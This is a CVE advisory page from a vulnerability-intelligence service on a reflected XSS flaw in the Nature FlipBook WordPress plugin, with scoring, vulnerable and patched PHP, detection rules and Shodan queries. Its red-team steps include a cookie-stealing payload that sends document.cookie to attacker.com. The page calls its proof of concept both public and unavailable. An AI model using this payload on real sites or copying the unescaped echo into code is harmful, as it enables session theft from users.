☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Flashmaniac logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-23454

CVE-2025-23454 Cross-Site Scripting in Flashmaniac
📅 PUBLISHED: 2025-01-21 18:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-23454 is a reflected Cross-Site Scripting (XSS) vulnerability in the Nature FlipBook WordPress plugin (version <= 1.7), developed by Flashmaniac. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as WordPress ecosystem issue and does not involve Apache or Nginx misconfigurations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin. Users should treat the plugin as untrusted and consider removal.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click a crafted link)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

The threat level is High due to the low complexity and no authentication requirement, though user interaction is needed.

Deep Dive & Mechanics

The vulnerability resides in the vertical-diamond-flipbook-flash component of the Nature FlipBook plugin. The plugin fails to sanitize or escape user input before reflecting it in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads in query parameters (e.g., ?page=...). When a victim visits this URL, the injected script executes in the context of the victim's browser.

Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output without proper escaping (e.g., esc_html() or wp_kses()).

Attack Scenario:

  1. Attacker crafts a URL: http://target.com/?page=<script>alert('XSS')</script>
  2. Victim clicks the link (phishing or social engineering).
  3. The script executes, stealing cookies or redirecting to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (example):

<?php
$page = $_GET['page'];
echo "<div class='flipbook'>$page</div>";
?>

Patched Code (recommended):

<?php
$page = isset($_GET['page']) ? esc_html($_GET['page']) : '';
echo "<div class='flipbook'>" . esc_html($page) . "</div>";
?>

The patched version uses esc_html() to neutralize HTML/JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

  1. Setup: Install WordPress with Nature FlipBook plugin v1.7 on a local server (e.g., XAMPP).
  2. Craft Payload: Use a reflected XSS payload:
    http://localhost/wordpress/?page=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Deliver: Send the link to a victim via email or social media.
  4. Capture: Set up a listener on attacker.com to receive stolen cookies.

Note: No public exploit code is available; this is a manual exploitation scenario.

Blue Team (Detection & Defense)

  1. Monitor Logs: Look for unusual query parameters containing <script> or onerror in web server logs.
  2. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block reflected XSS patterns.
  3. User Training: Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

  • URL Patterns: ?page=<script>, ?page=alert(, ?page=onerror=
  • HTTP Referer: Unusual referers from phishing campaigns.
  • Web Logs: Entries with %3Cscript%3E (URL-encoded <script>).
  • Browser Console: Unexpected JavaScript execution or cookie theft.

Detection Engineering

YARA Rule

rule CVE_2025_23454_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Nature FlipBook plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23454"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Nature FlipBook Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts in query parameters targeting Nature FlipBook
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23454 Reflected XSS Attempt"; flow:to_server; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable or remove the Nature FlipBook plugin until a patch is released.
  2. Short-term: Implement a WAF rule to block reflected XSS patterns.
  3. Long-term: Replace the plugin with an actively maintained alternative.
  4. Code Fix: If you maintain the plugin, apply input sanitization using esc_html() or wp_kses().

Valters IT – Securing your digital assets with precision.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Nature FlipBook"
http.html:"vertical-diamond-flipbook-flash"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-23454/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.